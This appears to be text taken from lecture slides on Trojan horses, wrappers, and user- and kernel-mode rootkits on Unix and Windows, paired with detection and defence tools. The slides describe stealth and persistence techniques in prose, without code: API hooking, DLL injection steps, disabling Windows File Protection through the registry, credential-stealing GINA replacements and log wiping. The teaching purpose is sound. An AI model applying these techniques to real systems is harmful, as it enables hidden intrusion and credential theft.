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  • Trojan Horses Hiding names take someone elses name. overeager system administrators might even remove the legitimate program thinking it might be your fake program. windows does not let you kill program with certain names. regardless of content csrss.exe, services.exe, smss.exe, System, System Idle Process, winlogon.exe There might be more than one legitimate process named winlogon or csrcc.exe
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  • Trojan Horses Hiding names use common typos of important files for a Trojan ifconfig instead of ipconfig.
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  • Trojan Horses Defenses Pskill will kill any horse / process. Fport and lsof will find open ports associated with the horse. Tripwire could find substitutes for executables. Filter email attachments that are executable.
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  • Wrappers Wrap malware in a good program. A.k.a. binders, packers, exe binders, exe joiners. AFX File Lace, Elite Wrap, Exe2vbs, PE Bundle, Perl2Exe, Saran Wrap, TOPV4, Trojan Man Combat with Anti-virus software File System Integrity checkers (Tripwire) Posted MD5, SHA1 values of downloads
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  • Definition of Rootkit Rootkits Rootkits are Trojan horse backdoor tools that modify existing operating system software so that an attacker can keep access to and hide on a machine.
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  • Unix User Mode Rootkits Rootkits are bundled packages consisting of: Binary replacements that provide backdoor access. Binary replacements that hide the attacker. Other tools for hiding Additional Odds and Ends Installation Script
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  • Unix User Mode Rootkits: LRK Around since the early nineties. version 6 is appearing.
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  • Unix User Mode Rootkits: LRK Backdoor Access: Trojan login, rsh, ssh Altered login, rshd, sshd Same functionality, but with a special backdoor password for rewt that gives root access. Remote shell on a chosen port altered inetd, tcpd Local privilege escalation backdoors: chfn, chsn, passwd, su
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  • Unix User Mode Rootkits: LRK Binary Replacements that hide the attacker: Processes ps top pidof killall crontab
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  • Unix User Mode Rootkits: LRK Network use netstat ifconfig Files ls find du (omits space taken by hidden files Events syslogd
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  • Unix User Mode Rootkits: LRK Other tools for hiding: fix resets the MAC times of trojaned system files. pads files so that the CRC check matches the one of the original files. zap2, wtmp blanks out / edits information in important files: utmp, wtmp stores data on users currently / ever logged in. btmp stores data on bad logins. lastlog stores data on last login for users
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  • Unix User Mode Rootkits: LRK Goodies bindshell creates a backdoor listener attacker connects with netcat to the listener sniffer linsniffer grabs IDs and passwords for ftp, telnet
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  • Unix User Mode Rootkits: LRK LRK Installation Script makefile allows to choose configuration No need to understand any of the workings of LRK installs in seconds / few minutes
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  • Unix User Mode Rootkits: URK Universal Root Kit Functions on a variety of Unix variants Has slightly less functionality than LRK
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  • EFS2 Manipulations to hide data RunEFS, Defilers toolkit foil computer forensics investigations on a UNIX machine. RunEFS adds pointers of good blocks to the bad blocks inodes. stores data in them. Coroners Toolkit and derivatives dont look at these blocks.
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  • EFS2 Manipulations to hide data Defilers toolkit destroys data that a forensics tool can harvest. shred and other overwrite tools destroy data in a block. Defilers toolkit destorys inode and directory information as well. Necrofile scrubs inodes clean Klismafile overwrites directory entries associated with deleted files. This leaves blank spots in a directory. This shows that someone used Klismafile.
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  • Windows User Mode Rootkits Windows File Protection (WFP) Scans for changes to critical executables and libraries. Compares digital signatures of 1700 files to a protected file If WFP detects a change it searches for an authorized file in different locations. WFP can be altered Windows Service Pack Installations (Update.exe) Hotfix distributions (Hotfix.exe) Windows Update Feature Windows Device Installer
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  • Windows User Mode Rootkits Implementing user mode rootkits in windows: Use existing interfaces Overwrite file Use DLL injection and API hooking to manipulate running processes in memory.
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  • Windows User Mode Rootkits Use existing interfaces: FakeGINA sits between winlogon and msgina
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  • Windows User Mode Rootkits: Windows uses Graphical Identification aNd Authentication (GINA) Windows allows system administrators to install third party GINA tools. Windows ships with default GINA (msgina.dll) Attacker sets registry key HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon to install Fakegina Fakegina gathers passwords, passes logon credentials to the real msgina.dll.
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  • Windows User Mode Rootkits: Changing Files Not so easy, since WFP protects system files Changing WFP Settings WFP configuration is stored in the registry Attacker can change system file and then 1. delete the version in DLL cache. WFP cannot find a correct version. Sends message to request system CD. Administrator might ignore message
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  • Windows User Mode Rootkits Attacker can 2. Alter the location of the Dllcache by modifying the registry. WFP checks signatures and finds many mistakes. Log is full of warnings. 3. Turn off WFP by changing a registry key WFP still active until reboot. Warning message after reboot.
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  • Windows User Mode Rootkits Attacker can 4) set the SFCDisable key to value 0xFFFFFF9D. Completely disables WFP on Win2000 No dialog warning Only a message that WFP is inactive. Code Red II used method 4.
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  • Windows User Mode Rootkits In order to achieve stealth mode, the rootkit must alter the execution path of the OS or change the data structures directly. Altering the execution path with HOOKS:
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  • Windows User Mode Rootkits Assume that user process lists a directory. This involves calling various dll at the user and at root level.
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  • Windows User Mode Rootkits API HOOKING The application will load kernel32.dll into its private address space. Between memory addresses 0x00010000 and 0x7FFE0000. Rootkit needs to overwrite any function in Kernel32.dll. This is called API HOOKING
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  • Windows User Mode Rootkits API HOOKING Method 1: Import Address Table Hooking Most applications that use the Win32 API use an Import Address Table. Each DLL is contained in the applications image in the file system in a structure called the IMAGE_IMPORT_DESCRIPTOR When the OS loads the application, it parses the IMAGE_IMPORT_DESCRIPTOR structure and loads each required DLL into the applications memory. Once the DLL is mapped, the OS locates each imported function in memory and overwrites an array with that address.
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  • Windows User Mode Rootkits API HOOKING Method 1: Import Address Table Hooking Rootkit needs to be installed in applications memory. Reset one of these pointers to the rootkit code.
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  • Windows User Mode Rootkits API HOOKING Method 2: Inline Hooking Replace code of functions in a DLL. Replace first 5 bytes of function with a jump to your rootkit code. Save the overwritten bytes in a trampoline Rootkit executes the trampoline and then calls the target function Target function eventually returns to rootkit. Rootkit edits return values. Rootkit passes the return values on to the calling function.
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  • Windows User Mode Rootkits DLL Injection forces an exe process to accept a DLL it never requested. This is a method to get a rootkit into a target application. As always, assumes that the attacker has complete access to the system.
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  • Windows User Mode Rootkits DLL Injection forces an exe process to accept a DLL it never requested. Allocate space in victim process for the DLL code to occupy. (VirtualAllocEx) Allocate space in victim process for the DLL parameters. (VirtualAllocEx) Write name and code into the memory space of the victim process. (WriteProcessMemory) Create a thread in the victim process (CreateRemoteThread) Free up resources in the victim process after execution is complete.
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  • Windows User Mode Rootkits DLL Injection forces an exe process to accept a DLL it never requested. Use of registry: Windows NT/2000/XP/2003 has a registry key HKEY_LOCAL_MACHINE\Software\Microsoft\Window sNT\CurrentVersion\Windows\AppInit_DLLs Rootkit can set the value of this key to a DLL of its own that modifies target process IAT.
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  • Windows User Mode Rootkits DLL Injection allows to hijack any process Attacker must have Debug Programs right on system. Attacker uses DLL injection by modifying a running dll that displays information on the screen. Modified dll still calls original dll. But does not display all the data.
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  • Windows User Mode Rootkits AFX Windows RootKit Attacker uses afx windows rootkit configuration console to generate code on his machine. Then executes it on the victims machine. AFX WinRK installs itself in the System32 directory. Creates iexplore.dll and explorer.dll injects explorer.dll and iexplore.dll into explorer.exe That process displays the GUI to users. hides network connections, files,...
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  • User Level Rootkit Defenses Preventing Root Kits Harden systems and apply patches. Detect Root Kits File Integrity Checking (Signatures) Root Kit Identification Look for specific changes made in most root kits chkrootkit for Unix
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  • Kernel Mode Rootkits Kernel Functions Process and Thread Interprocess Communication Memory File System Hardware Interrupts
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  • Kernel Mode Rootkits Kernel Relies on hardware level protection Ring 0 vs. Ring 3 for Intel CPU Prevents user processes from accessing critical kernel data structures.
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  • Kernel Mode Rootkit Processes running in kernel mode belong to the kernel. Administrator, root only invoke user mode processes. These processes access the kernel. Change in kernel changes behavior of all processes.
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  • Kernel Mode Rootkit Kernel Mode Rootkit Capabilities File & Directory Hiding Process Hiding Network Port Hiding Promiscuous Mode Hiding Execution Redirection Device Interception and Control
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  • Kernel Mode Rootkit Advantages over User Level Rootkit: Changes all programs that try to discover something from the kernel. Statically linked binary forensic tools no longer work
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  • Linux Kernel Linux allows us to look at many internal kernel structures: /proc Slash proc Virtual directory, lives only in memory. Lots of commands just grab info from /proc. We can write to certain areas of /proc such as /proc/net
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  • Linux Kernel /proc /cpuinfo /devices /ksmg Log messages from kernel /ksyms List of all variables and functions that are exported via loadable kernel modules on the machine
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  • Linux Kernel /proc /net /stat Statistics such as data about CPU, virtual memory, hard drive usage /sys Kernel variables. /version
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  • Linux Kernel /dev Contains pointers to various devices. /dev/kmem Image of the running kernels memory /dev/mem Image of all the memory Gibberish without special tools
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  • Linux Kernel User mode processes use System Calls to access kernel. Embedded in the systems libraries: SYS_open SYS_read SYS_write SYS_execve SYS_setuid SYS_get_kernel_syms SYS_query_module
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  • Linux Kernel Located in /usr/include/sys/syscall.h /usr/include/bits/syscall.h /usr/include/asm/unistd.h Or similar locations.
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  • Linux Kernel System Call Table: Array maintained by the kernel that maps individual system call names and numbers. Located also in memory. On harddrive: less /boot/System.map Use strace to find the system calls made by a command: strace ls
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  • Linux Kernel
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  • Linux Kernel Manipulations Loadable Kernel Modules Legitimate Linux / Solaris kernel feature Add support for new hardware Can replace existing kernel features without system reboot.
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  • Linux Kernel Manipulations Attacker uses insmod to Alter System Call Table. Load Kernel module.
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  • Linux Kernel Manipulations Evil kernel module alters SYS_execve Looks at calling process. If process is for a program that attacker wants to redirect Evil kernel module actually calls another program. Attacker can wrap the true SYS_execve code. Makes it easy to generate the altered version of SYS_execve. This alteration defeats file integrity checking tools. SYS_execve code is still there, only Never called. Called if not interfering with attacker (if wrapped). True login function, true sshd, true not called, but replacements are.
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  • Linux Kernel Manipulations Loadable kernel modules do not survive a system reboot. Attacker alters programs in the boot process. init Once inserted, loadable kernel module hides changes to the altered boot process
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  • Linux Kernel Manipulations Mighty Adore Loadable kernel module Adore interface: Ava. Kernel Intrusion System (KIS) Comes with slick GUI
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  • Linux Kernel Manipulations Alternative to Loadable Kernel Module Use /dev/kmem Attackers can use tools that read and write to kernel memory image. Attacker can insert alternative code for system calls. Attacker can change the System Call Table.
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  • Linux Kernel Manipulations Patching Kernel Image File Simplest way: Attacker patches vmlinuz file. Contains the kernel image.
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  • Linux Kernel Manipulations User Mode Linux (UML) UML at user-mode-linux.sourceforge.net Runs entire Linux kernel inside a normal user-mode process. Like VMWare, creates virtual environment. Sysads, users are running in this virtual environment.
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  • Linux Kernel Manipulations Kernel Mode Linux Project Allows certain user processes to run in kernel mode. Attacker patches kernel with KML. Attacker now has processes that run in kernel mode. Writes code to alter system call table and system call code.
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  • Defending the Linux Kernel Prevention Deny superuser access to attackers. Patch quickly. Change kernel so that it no longer allows loadable kernel modules. Redhat 8.0, Redhat 9.0, Linux 2.5.41 Install Systrace to track and limit systems calls. Use Linux Security Module in your kernel.
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  • Defending the Linux Kernel Kernel Mode RootKit Detection Look for suspicious network activity File Integrity Checkers (to catch the not quite good enough hacker). Use systrace to follow system calls made by an application. www.city.umich.edu/u/provos/systrace (free tool). www.city.umich.edu/u/provos/systrace chkrootkit Looks for system anomalies. Each directory has a link count. Link count should be equal to the number of files + 2.
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  • Defending the Linux Kernel Kernel Mode RootKit Detection Kernel Security Therapy Anti-Trolls (Linux 2.4) Looks for changes to the system call table. Scans /dev/kmem Looks for memory locations of system calls and compares with System.map Creates fingerprints of system calls and various critical programs.
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  • Defending the Linux Kernel Kernel Mode RootKit Detection Syscall Sentry Loadable kernel module. Checks for modules that alter the system table. Alerts system administrator in this case. Rootkit Hunter www.rootkits.nl Similar to Chkrootkit Rootkit Revealer (windows) by Russinovich Blacklight (windows) F-secure
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  • Defending the Linux Kernel Investigating potentially rootkitted systems: Boot from a trusted CD Helix, Knoppix, Boot a small linux OS Contain Windows forensics tools.
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  • Windows Kernel User process calls DLL DLL can return to user process. Go to csrss.exe (client server runtime) Require kernel function
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  • Windows Kernel User process makes call to ReadFile Win32 Subsytem DLL makes call to NtReadFile in Ntdll.dll Ntdll.dll translates well-documented API into rather obscure ones (that can be easily changed.) Ntdll.dll makes a call to the Executive. Executive sits inside ntoskrnl.exe Determines which piece of kernel code is needed to handle request. Kernel code interacts with hardware (disk). Uses Hardware Abstraction Layer (HAL.dll).
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  • Windows Kernel Ntdll.dll call into kernel: System service dispatching. Essentially a system call. Uses the System Service Dispatch Table. Table indicates where the appropriate system service code is located within the kernel.
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  • Windows Kernel Fewer tools allow us to look at kernel structures.
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  • Windows Kernel: Tools Ctrl + Alt + Del Task Manager Process Table
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  • Windows Kernel: Tools System Idle Process PID 0 Just accounts for idle CPU time, not a real process. System Process with PID 8 Contains data on all running threads in kernel mode. Smss.exe (Session Manager) First user mode process running on the machine. Activated by kernel during system boot. Analogous to the Unix Init Daemon.
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  • Windows Kernel: Tools Csrss.exe Process that manages the Win32 system. Initiated by Smss.exe. Winlogon.exe Lets users log on to the system. Smss.exe, CSrss.exe, Winlogon.exe are the first processes after boot to run in user mode.
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  • Windows Kernel: Tools Start Control Panel Administrative Tools Performance Click + and check process Kernel (red line) is using up time.
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  • Windows Kernel: Tools Process Explorer http://www.sysinternals.com/ntw2k/freeware/ procexp.shtml Shows every running process. Displays process hierarchy.
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  • Windows Kernel: Tools DependencyWalker (www.dependencywalker.com) Traces relationship between user processes and the user-mode DLLs. Allows us to see when the kernel is invoked.
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  • Manipulating Windows Kernel Same basic strategies as in Linux: Evil Device Driver. Corresponds to Loadable Kernel Module Alter running kernel in memory. Overwrite kernel image on file. Deploy kernel on a virtual system. Run user-mode code at kernel level.
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  • Manipulating Windows Kernel Evil Device Driver Alters system service call handling by loading a device driver. Replaces or alters kernel functions. Needs administrator privileges. Needs to get evil code to run: Overwrite existing kernel functionality Alter system service dispatch table to point to new code. Alter System Service Dispatcher.
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  • Manipulating Windows Kernel
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  • If a Windows administrator installs a device driver, Windows will check for a valid digital signature. Attacker with root privileges just accepts the warning.
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  • Manipulating Windows Kernel Various alternatives to get evil device driver to run: Evil driver can overwrite kernel. Driver replaces existing code. Evil driver implements various kernel functions and then changes the system dispatch table. Interrupt hooking changes how the kernel handles CPU interrupts.
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  • Manipulating Windows Kernel Altering a Running Kernel in Memory Instead of a device driver, directly change the kernel code in memory.
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  • Manipulating Windows Kernel Altering a Running Kernel in Memory: Windows uses the Global Descriptor Table (GDT) to manage memory. GDT stores division into various segments. Store segment accessibility by ring 0/3. Unfortunately, attacker can add a memory segment to the GDT. Greg Hoglund Phrak 55 Explains how to bypass Security Monitor. Add memory segment from location 0x00000000 to 0xffffffff. This gives memory access to all user processes!
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  • Manipulating Windows Kernel
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  • Altering a Running Kernel in Memory: Alternatively, manipulate \Device\PhysicalMemory object. Alternatively, use PhysMem from sysinternals.com. Attacker can now change system functionality.
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  • Manipulating Windows Kernel Patching the Kernel on the Hard Drive Not as easy as it sounds. System boot checks integrity of Ntoskrnl.exe. Thus, not possible to only change the kernel file. Have to change both the integrity checker and the kernel. Integrity checker sits in NTLDR. Attack: Change one instruction to jump over the integrity check. Currently, not heavily used.
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  • Manipulating Windows Kernel Patching the Kernel on the Hard Drive Patch first NTLDR to disable integrity check. Then patch Ntoskrnl.exe to disable security access check. Now introduce rootkit.
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  • Manipulating Windows Kernel Create a fake system using a virtual machine. Variety of Virtual Machines VMWareVirtual PC Plex86Bochs But need to hide start-up message. Unlike Linux, that is difficult.
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  • Protecting the Windows Kernel Prevent access to the machine. Detect a rootkit: Antivirus tools recognize most rootkit files before installation. Some rootkits can be spotted afterwards. Because developers were careless. File Integrity Checkers
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  • Protecting the Windows Kernel Removing Rootkits Analyze system without invoking the kernel. Use a FIRE or Knoppix bootable CD-ROM and look at the hard drive. Registry / File System.
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  • Next Generation Malware BIOS Malware active before booting from a device. Bioscentral website for tools to look at BIOS. Microkernel